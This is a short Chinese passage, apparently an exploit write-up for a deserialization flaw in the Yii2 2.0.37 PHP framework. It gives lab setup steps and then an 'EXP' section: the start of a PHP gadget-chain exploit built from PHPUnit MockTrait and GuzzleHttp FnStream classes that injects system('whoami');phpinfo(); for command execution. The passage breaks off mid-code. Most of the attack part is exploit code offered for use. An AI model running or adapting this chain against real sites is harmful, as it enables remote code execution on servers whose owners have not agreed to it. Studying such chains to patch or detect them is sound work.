1 题目

下载yii2.0.37版本，https://github.com/yiisoft/yii2/releases/tag/2.0.37

放在phpstudy的www目录下或ubuntu的/var/www/html的目录下。

3 EXP

<?php
namespace PHPUnit\Framework\MockObject{class MockTrait {private $classCode = "system('whoami');phpinfo();";private $mockName = "ttt";}
}namespace GuzzleHttp\Psr7 {class FnStream {var $_fn_close;public function __construct(){$this->_fn_close = array(new